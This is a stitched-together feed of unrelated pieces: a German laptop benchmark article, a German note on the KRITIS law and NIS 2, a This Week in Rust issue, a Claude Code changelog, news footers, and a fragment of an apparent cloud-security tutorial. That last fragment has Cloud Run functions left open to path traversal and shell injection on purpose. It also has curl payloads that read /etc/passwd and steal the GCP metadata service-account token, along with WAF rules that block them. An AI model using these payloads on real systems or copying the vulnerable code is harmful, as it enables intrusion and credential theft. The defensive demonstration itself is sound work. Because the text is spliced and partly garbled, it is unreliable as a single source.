Für diesen Test habe ich alle Startanwendungen deaktiviert. Ausnahmen galten lediglich für vorinstallierte Programme wie Asus Mouse Agent, Microsoft Defender, Edge, OneDrive und Teams. Damit die Ergebnisse vergleichbar bleiben, habe ich sonst genutzte Anwendungen wie mein VPN weggelassen. Daraufhin folgten fünf Neustarts, bei denen ich jeweils gemessen habe, wie lange es dauert, bis der Windows-Desktop vollständig geladen war. Auch die Anmeldung über Windows Hello wurde einbezogen.

Auf den meisten Laptops ist Microsoft Edge nicht im Autostart „vorinstalliert“. Dies kann man jedoch über das Einstellungsmenü von Microsoft Edge aktivieren. Dadurch startet der Browser deutlich schneller. Im Gegenzug verlängerte sich die Startzeit des Laptops aber um etwa drei Sekunden.

Die Ergebnisse meines Tests haben mich überrascht: Der Surface Laptop 3, auf dem eine Standardversion von Windows 11 24H2 (26100.8328) lief, startete deutlich schneller als die anderen vier Laptops. Warum auf einmal vier Laptops? Um meine Ergebnisse besser bewerten zu können, habe ich zwei etwas ältere Geräte hinzugefügt. Dabei stellte sich heraus, dass auch diese Geräte recht lange für den Startvorgang benötigten.

Kurz gesagt: Der Surface Laptop 3 aus dem Jahr 2019 startete etwa 10 Sekunden schneller als seine modernen Konkurrenten. Entsprechend gespannt war ich auf die weiteren Tests.

Die alltägliche Windows-Nutzung

Auch hier habe ich versucht, synthetische Benchmarks zu vermeiden. Diesen Zahlen fehlt oft der Bezug zur alltäglichen Nutzung. Stattdessen habe ich etwa 30 Tabs im Browser geöffnet und zwischen diesen hin und her geklickt. Ich habe außerdem mit allen drei Laptops gearbeitet und sogar Teile dieses Artikels auf den Geräten verfasst.

Subjektiv gesehen spürt man tatsächlich einen Unterschied. Der von mir getestete Surface Laptop 3 verfügt über 16 Gigabyte RAM. Das Hin- und Herwechseln sowie das Starten von Apps fühlten sich langsamer an als bei den modernen Laptops. Der Unterschied war aber nicht sehr groß. Auch das Starten von Apps oder die Interaktion mit Windows fühlten sich merklich verzögert an. Dennoch konnte ich damit gut leben.

Oft liegt die träge Reaktion einfach an niedrigeren Spezifikationen. So gab es den Surface Laptop 3 auch mit nur 8 Gigabyte RAM. Davon würde ich heute eher abraten. Die nur 256 Gigabyte kleine SSD hat mich ebenfalls vor Probleme gestellt. Schon der Versuch, Windows wieder sauber zurückzusetzen, scheiterte am fehlenden Speicherplatz. Doch ich hatte letztlich nur einige versteckte Videodateien übersehen.

Generell fordern die meisten Funktionen des Betriebssystems oft nur einen Kern des Prozessors. Diese Leistung habe ich mit Cinebench gemessen. Je niedriger der erreichte Wert ist, desto langsamer fühlt sich Windows im Alltag an.

Auch hier fühlte sich die Interaktion mit Webseiten auf dem älteren Laptop etwas langsam und ruckelig an. Wirklich gestört hat mich dies aber nicht.

Ihr Browser verarbeitet im Hintergrund mehrere APIs, Frameworks und andere Anweisungen, die von außen kaum sichtbar sind. Um zu bewerten, wie gut der Laptop diese Aufgaben verarbeitet, haben wir zwei weitere Benchmarks durchgeführt: Speedometer und MotionMark sollen zeigen, wie flüssig der Browser arbeitet.

In diesem Fall rendern die neuen Laptops ihre Ergebnisse etwa doppelt so schnell wie der ältere Laptop. Subjektiv gesehen ist das kein riesiger Unterschied – aber es macht sich im Alltag bemerkbar.

Diese abstrakten Zahlen sollen verdeutlichen, welche Unterschiede es zwischen den Geräten gibt. Viel nützlicher sind aber die folgenden Vergleiche aus dem Alltag.

Büroarbeit offenbart Schwächen

Die Anwendungen PCMark und Procyon von UL messen die Leistung in Word, Excel oder PowerPoint und nutzen das klassische Outlook für einige zusätzliche Tests im Office-Produktivitäts-Benchmark. Das Ergebnis ist eine Punktzahl, die ich in der folgenden Tabelle aufgelistet habe. Es wird jedoch auch die tatsächliche Zeit erfasst, die für bestimmte Aufgaben benötigt wird. So zeichnen sich die tatsächlichen Unterschiede zwischen den älteren und neueren Laptops deutlicher ab. Die durchschnittliche Punktzahl des Surface Laptop 3 war nur etwa halb so hoch wie die des Asus ZenBook Duo und des Asus ZenBook mit Snapdragon-X2E-Prozessor.

Die Grafik unten offenbart jedoch den eigentlichen Grund, warum ich diesen Artikel überhaupt geschrieben habe: Der Procyon-Benchmark von UL misst tatsächlich die Zeit, die für das Erledigen einer bestimmten Aufgabe nötig war. Der Test liefert so einen realistischen Vergleich darüber, wie schnell die jeweilige Laptop-Generation wirklich war.

Einige Aufgaben waren schnell erledigt: Können Sie es in Kauf nehmen, dass das Hinzufügen eines Wasserzeichens auf dem alten Laptop 0,9 Sekunden dauert, gegenüber 0,36 Sekunden beim neuen Gerät? Wahrscheinlich. Wie sieht es mit 2 Sekunden anstelle von einer Sekunde für das Hinzufügen eines Bildes aus? Und wie wäre es mit 26 Sekunden zum Exportieren einer PDF-Datei, gegenüber 11 Sekunden? Überlegen Sie, wie oft Sie diese Aufgaben ausführen und wie lange Sie auf das Ergebnis warten müssten.

Ein Blick auf Excel: Das Formatieren einer Tabelle dauerte auf dem Surface Laptop 3 fast drei Sekunden, gegenüber 0,4 Sekunden beim Asus-Laptop mit Snapdragon-Prozessor. Wenn Sie regelmäßig in Excel arbeiten, könnte diese kleine Verzögerung stören. Oder vier Sekunden zum Kopieren und Einfügen gegenüber sieben? Manche Menschen werden sich daran stören. Andere nicht.

Mark Hachman / Foundry

Videoanrufe, 30 Browser-Tabs und die Grenzen alter Hardware

Außerdem habe ich einen weiteren Benchmark durchgeführt, den neuen Essentials-Test von UL.

Essentials öffnet einen Video-Chat, lässt diesen dann über einen Browser mit 30 geöffneten Tabs laufen – und beginnt anschließend, verschiedene Apps zu öffnen und Aufgaben auszuführen. Dies entspricht einem typischen Arbeitsalltag. Dazu kommen Aufgaben wie das Komprimieren und Dekomprimieren von Dateien, das Navigieren in einem webbasierten CRM (Customer Relationship Management) sowie die Nutzung sozialer Medien.

Wie zuvor geht es darum, herauszufinden, ob diese Unterschiede im Alltag einen Unterschied machen. Wenn Sie darüber nachdenken, Ihrem alten Laptop die Treue zu halten, dann stellen Sie sich folgende Fragen: Werden Sie wirklich 30 Tabs gleichzeitig öffnen? Wenn ja, könnte dies ein Problem sein. Anstelle von 5,75 Sekunden für die Navigation in einem Online-CRM geht es auf einem neuen Gerät mit 1,2 Sekunden deutlich flotter. Unser Testlauf umfasst sogar einige KI-Aufgaben: Das Zusammenfassen eines Chats dauerte auf dem älteren Laptop satte 69 Sekunden, gegenüber 15 bis 18 Sekunden auf den neueren Modellen mit integrierten NPUs. Ist dies etwas, das Sie regelmäßig tun? Das Entpacken einer ZIP-Datei war auf einem neuen PC etwa fünfmal schneller geschafft. So etwas macht man aber auch nicht ständig.

Erwarten Sie keine Wunder von der integrierten Grafikeinheit

Ich habe Grafikfunktionen wie Gaming, Foto- und Videobearbeitung bewusst ausgelassen. Dieser Artikel wurde mit Blick auf Produktivität verfasst, und die beiden letztgenannten Kategorien sind nach wie vor eher spezialisierte Aufgaben. Wenn Sie jedoch die Grafikleistung beider Laptop-Generationen vergleichen, stellen moderne Laptops ihre Vorgänger deutlich in den Schatten. Das Asus ZenBook Duo bietet etwa die siebenfache Grafikleistung (7.666 gegenüber 990 Punkten im 3DMark Time Spy-Benchmark von UL). Und selbst ein Asus Vivobook S14 aus dem Jahr 2024 bietet mit einer Punktzahl von 4.209 die vierfache Performance.

Mark Hachman / Foundry

Die Akkulaufzeit ist offensichtlichster Grund für ein Upgrade

Leider gibt es einen Bereich, in dem moderne Laptops einen erheblichen Vorteil gegenüber ihren älteren Kollegen bieten. Das ist die Akkulaufzeit.

Ich bin nicht überzeugt, dass sich ein moderner Laptop physisch so sehr von einem älteren Thin-and-Light-Modell unterscheidet. Moderne Laptops werden aus unterschiedlichen Materialien hergestellt – von leichteren bis hin zu strukturell robusteren –, doch die Gewichtsersparnis beträgt meist nur 500 Gramm.

Die Hersteller haben die Möglichkeit, diesen Platz mit zusätzlichen Akkuzellen zu füllen. Dadurch ist die Akkukapazität moderner Laptops in den vergangenen Jahren gestiegen. Ein Laptop wie das Asus ZenBook Duo enthält sowohl einen effizienten Panther-Lake-Chip als auch einen satten 99-Wattstunden-Akku.

Während die Akkulaufzeit des Surface Laptop 3 bei für die damalige Zeit soliden 10 Stunden lag, hielt das ZenBook Duo beachtliche 22 Stunden und 15 Minuten durch.

Und es kommt noch schlimmer. Akkus altern, daher hat der 45-Wattstunden-Akku im Surface Laptop 3 laut Windows in den vergangenen Jahren 70 Ladezyklen durchlaufen. Das hat die tatsächliche Kapazität bei voller Ladung auf 36,7 Wattstunden gesenkt, was einem Rückgang von 18 Prozent entspricht. So erreicht das Gerät nur noch eine geschätzte Laufzeit von 8 Stunden und 12 Minuten. Das ist gar nicht schlecht! Dennoch werden Sie bei der Arbeit nicht einen ganzen Tag lang mit diesem Akku auskommen. In unserem Ratgeber erklären wir Ihnen, wie Sie Ihren Laptop richtig aufladen, um dessen Kapazität so lange wie möglich zu erhalten.

Dennoch hat sich der Alltag in den letzten sieben Jahren stark verändert. Leistungsstarke Powerbanks sind zur Massenware geworden. Ebenso sind Steckdosen in Flugzeugen, auf Flughäfen und in Konferenzzentren überall zu finden. Die Effizienz von Akkus hat sich ebenfalls weiterentwickelt.

Sollten Sie Ihren alten Laptop ausmustern?

Die Kurzform: Wenn Ihr älterer Laptop die täglich genutzten Apps noch schnell laden kann, das Gerät generell reaktionsschnell arbeitet, genug Akkuleistung für Ihren Arbeitsalltag bietet und noch genügend Speicherplatz zur Verfügung hat, dann müssen Sie das Gerät wahrscheinlich noch nicht ersetzen.

Ein neuer Laptop ist vor allem dann sinnvoll, wenn die Akkulaufzeit zu einem täglichen Problem wird. Auch wenn Sie regelmäßig bei rechenintensiven Aufgaben wie Fotobearbeitung, Videobearbeitung, KI-Tools, großen Tabellenkalkulationen oder Dateikomprimierung warten müssen. Oder aber Ihr Gerät stößt aufgrund von zu wenig RAM oder Speicherplatz an seine Grenzen. Für einfaches Surfen, Office-Arbeit, E-Mails, Videoanrufe und leichtes Multitasking kann ein gut gepflegter älterer Laptop immer noch gut genug sein – und ihn zu behalten, könnte die klügere Entscheidung sein.

Widerstehen Sie den Versuchungen des Marketings

Früher waren sechs oder sieben Jahre in der PC-Branche eine kleine Ewigkeit. 1989 brachte Intel den 486er mit 25 Megahertz auf den Markt; 1995 erreichte der Pentium Pro 200 Megahertz. Und heute? Noch vor etwa einem Jahr haben wir uns darüber beschwert, dass Intels aktuelle Arrow-Lake-Chips mit einer Taktfrequenz von bis zu 5,2 Gigahertz sogar weniger Leistung ablieferten als ihre Vorgänger.

Vielleicht haben Sie diesen Artikel gelesen und sich gedacht: Wen interessiert das schon? Eine halbe Sekunde macht im Alltag keinen Unterschied. Daher rate ich Ihnen: Ziehen Sie es in Betracht, Ihren alten Rechner zu behalten. Andere Nutzer sehen das vielleicht anders und konzentrieren sich auf all die Vorteile, die ein neuerer Laptop mit sich bringt.

Die IT-Branche möchte Ihnen aus verschiedenen Gründen neue Produkte verkaufen. Wenn Sie aber die Möglichkeit haben, einen alten und einen neuen Laptop zu vergleichen, dann sehen Sie schnell, ob sich eine Neuanschaffung lohnt. Genau darum ging es mir in diesem Artikel: Ich wollte Ihnen all die Informationen geben, die Sie benötigen, um eine klügere Entscheidung darüber zu treffen, ob Sie einen neuen Laptop kaufen sollten.

Wenn sich jedoch herausstellt, dass ihr aktueller Laptop an seine Grenzen stößt, dann finden Sie in unseren Bestenlisten die lohnenswertesten Modelle für jeden Geldbeutel. Suchen Sie nach einem Laptop für Schüler oder Studenten? Oder soll es lieber ein Gaming-Laptop für unter 1.200 Euro sein? Die besten Notebooks aller Klassen haben wir ebenfalls einem Vergleich unterzogen.

In jedem Fall gilt: Werfen Sie Ihren alten Laptop bloß nicht weg, sondern machen Sie stattdessen das damit!

Diese Frage beantwortet Dr. Daniel Meßmer in der aktuellen Folge des Security-Insider Podcast.

Seine Einordnung: Das KRITIS-Dachgesetz ersetzt NIS 2 nicht. Beide Regelwerke stehen nebeneinander und gelten parallel. Während NIS 2 beziehungsweise die Umsetzung über das BSI-Gesetz vor allem auf Cybersicherheit abzielt, geht es beim KRITIS-Dachgesetz primär um die physische Resilienz kritischer Anlagen.

Also nicht nur: Was passiert, wenn ein IT-System angegriffen wird?
Sondern auch: Was passiert, wenn Stromnetze ausfallen, Wasserwerke nicht mehr funktionieren oder Logistiksysteme zusammenbrechen?

Genau hier setzt das KRITIS-Dachgesetz an. Es soll Risiken für das Gemeinwohl eindämmen, die durch den Ausfall physischer Infrastrukturen entstehen können, etwa durch Naturkatastrophen, Hochwasser oder andere physische Bedrohungen.

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This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

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Updates from Rust Community

Official

• Announcing Rust 1.97.0
• crates.io: development update

Project/Tooling Updates

• Rewriting Bun in Rust
• Announcing BullMQ for Rust
• prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance
• plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once
• Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export
• Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P
• kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters
• Elara Mesh: what the black box for AI agents actually does

• kache 0.10.0: instant download dedup, no more polling

• cochlea 0.1.0: a headless, deterministic audio engine for AI agents

Observations/Thoughts

• Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko
• Moving a Rust WebRTC SFU to thread-per-core
• Faster Rust tests in CI with parallel steps
• [video] The Only Diagram You Need to Understand Rust Ownership
• We compiled our TypeScript parser to WASM
• Understanding the Rust hype for the busy developer
• I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it

Rust Walkthroughs

• [video] Backend Concepts in Rust: HTTP Servers
• Fearless Embedded Rust: A FPV Lego car
• What I learned building a self-corrupting file format in Rust
• Come Async You Are

Miscellaneous

• Oxidize XIAO — An Embedded Rust Community Program

Crate of the Week

This week's crate is dashu, a pure Rust set of libraries of arbitrary precision numbers.

Thanks to JacobZ for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

550 pull requests were merged in the last week

Compiler

• inline some Symbol functions
• predicate/clause cleanups
• remove some AST tokens fields
• resolver: wrap arenas in WorkerLocal
• rework read deduplication with pooled read recorders
• shrink mir::Statement to 40 bytes
• shrink no-op drop elaboration
• specialize common (1, 1) case for arg unification
• use SmallVec for return places in MIR

Library

• add explicit Iterator::count impl for ChunkBy
• allow Allocators to be used as #[global_allocator]s
• fix multiple logic bugs in Arc::make_mut
• implement feature char_to_u32
• make volatile operations const
• move std::io::Write to core::io
• stabilize String::from_utf8_lossy_owned
• stabilize VecDeque::retain_back from truncate_front

Cargo

• install: Move --debug to Compilation options
• source: incorrect duplicate package warning
• fix manifest schema generation: TomlDebugInfo enum-variants doesn't renamed
• dont apply host-config gating to stable behavior
• reduce library search path length in new build dir layout
• reduce rustc -L args used in the new build-dir layout
• rename -Zno-embed-metadata to -Zembed-metadata=no
• test: fix race in cargo_compile_with_invalid_code_in_deps

Clippy

• add new lints: rest_pattern_accessible_field and unnecessary_rest_pattern
• new lint: definition_in_module_root
• arbitrary_source_item_ordering: add configurable trait impl item ordering modes
• tests_outside_test_module: put code in backticks in the lint message
• count length of the first paragraph by its text
• fix suboptimal_flops false negative with ambiguous float literals
• partly disable unneeded_wildcard_pattern when rest_pattern_accessible_field is enabled
• respect the configured MSRV in implicit_saturating_sub's if x != 0 { x -= 1 } rewrite
• trigger single_element_loop if the block contains only a final expression
• optimize nonstandard_macro_braces by 99.9683% (1.1b → 351K)
• perf: bail out of the disallowed_methods rule if the disallowed list is empty

Rust-Analyzer

• ask for disclosure in AI contributions
• add fixes for array length for type_mismatch
• add parens in transformed dyn type in ref type
• avoid panic in merge imports on trailing path separator
• change some things for #[doc = macro!()] expansion
• clamp cttz const-eval result to type width
• correctly handled cfg'ed tail expr, take 2
• crash on code actions when an unresolved module is present
• crash when computing diagnostics with MIR and error types
• don't complete default in default impl
• early late classification of lifetimes
• fix render_const_using_debug_impl constructing outdated std layouts
• fix proc macros TokenStream::from_str() for doc comments
• hide private fields on hover depending on context
• make lsp-server Response type closer aligned to JSON-RPC
• pretty assoc const when trait in macro
• reimplement crate_supports_no_std syntactic heuristic
• resolve non-plain paths in blocks correctly
• support Cargo 1.97.0 lockfile path setting
• hir-ty: walk container exprs for unused_must_use
• fix onEnter erroneously deleting/interpreting $foo
• suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere
• treat library files as truly client immutable
• turn BlockLoc into a tracked struct, take 3

Rust Compiler Performance Triage

This week many new optimizations landed, making this a very good week for performance. The only real regression was a fix for a miscompile that will likely be re-landed in the future.

Triage done by @JonathanBrouwer. Revision range: 3659db0d..5503df87

Summary:

2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups 36 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• Named Fn trait parameters

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• enable unreachable_cfg_select_predicates lint as part of unused lint group
• Stabilize dyn Allocator
• Tracking Issue for vec_try_remove
• Partially stabilize box_vec_non_null
• Never break between empty parens

• Enable -Zpolonius=next on nightly
• Enable -Znext-solver on nightly by default for testing
• Stabilizing the state of the debuginfo test suite
• Optimize repr(Rust) enums by omitting tags in more cases involving uninhabited variants.
• Proposal for Adapt Stack Protector for Rust

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team, Leadership Council, Rust RFCs or Unsafe Code Guidelines.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• bf16 primitive type

Upcoming Events

Rusty Events between 2026-07-15 - 2026-08-12 🦀

Virtual

• 2026-07-15 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-16 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-19 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: Third Sunday
• 2026-07-21 | Virtual (London, UK) | Women in Rust
  • Lunch & Learn: Learning Rust as First Programming Language
• 2026-07-21 | Virtual (Tel Aviv-yafo, IL) | Rust 🦀 TLV
  • שיחה חופשית ווירטואלית על ראסט
• 2026-07-21 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-07-22 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, GB) | Women in Rust
  • 👋 Community Catch Up
• 2026-08-05 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Second Tuesday
• 2026-08-12 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-19 | Virtual (Bangalore, IN) | Embedded Rust Discord
  • Silicon Sundays

Asia

• 2026-07-18 | Bangalore, IN | Rust Bangalore
  • July 2026 Rustacean Meetup
• 2026-07-19 | Virtual (Bangalore, IN) | Embedded Rust Discord
  • Silicon Sundays
• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, MA, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-15 | Dortmund, DE | Rust Dortmund
  • Teach and Hack at Projektspeicher
• 2026-07-21 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Supercharge Rust funcs with implicit arguments and context-generic programming
• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
• 2026-07-30 | Manchester, GB | Rust Manchester
  • Rust Manchester July Code Night

North America

• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-18 | Boston, MA, US | Boston Rust Meetup
  • North End Rust Lunch, July 18
• 2026-07-21 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-07-22 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-22 | New York, NY, US | Rust NYC
  • Rust NYC: Write A Custom Coding Agent and wasm_zero
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
  • Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
  • BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
  • Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
  • Evening Boston Rust Meetup at Red Hat, Aug 4
• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API

South America

• 2026-08-08 | São Paulo, SP | Rust-SP
  • Rust SP - Aug/2026

Oceania

• 2026-07-21 | Barton, AU | Canberra Rust User Group
  • July Meetup
• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
  • Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
  • Rust Melbourne July 2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.

– workingjubilee on Rust github

Thanks to Theemathas for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

• Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
• Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
• Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
• Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
• Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
• Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
• Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
• Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
• Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
• Fixed file uploads to Claude in Chrome from remote and CLI sessions
• Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
• Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
• Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
• Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
• Fixed /loop hiding the session from /resume after a single use
• Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
• Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
• Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
• Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
• Fixed Claude in Chrome setup pages failing to open in the browser on Windows
• Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
• Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
• Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
• Fixed routines with no schedule reporting a next run time in the year 1
• Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
• Improved terminal layout and rendering performance
• Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
• Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
• Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
• Updated documentation links to the current docs sites
• Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
• Changed /usage-credits to ask for confirmation before sending a request to organization admins
• Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
• [VSCode] Updated the Remote Control banner to describe what it does
• Claude in Chrome: hardened file-upload path validation
• Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
• Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.

Read more of this story at Slashdot.

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The post Hackers Abuse Shared Claude Chats and Google Ads to Deploy MacSync Stealer on macOS appeared first on IT Security News.

The post Hackers Abuse Shared Claude Chats and Google Ads to Deploy MacSync Stealer on macOS appeared first on Cyber Security News.

Written by: Corné de Jong

import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'

import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)

curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"

export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”

evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})

curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})

curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

Dieser Beitrag LegacyHive: Windows-Privilegieneskalation schon vor dem Patch greifbar erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

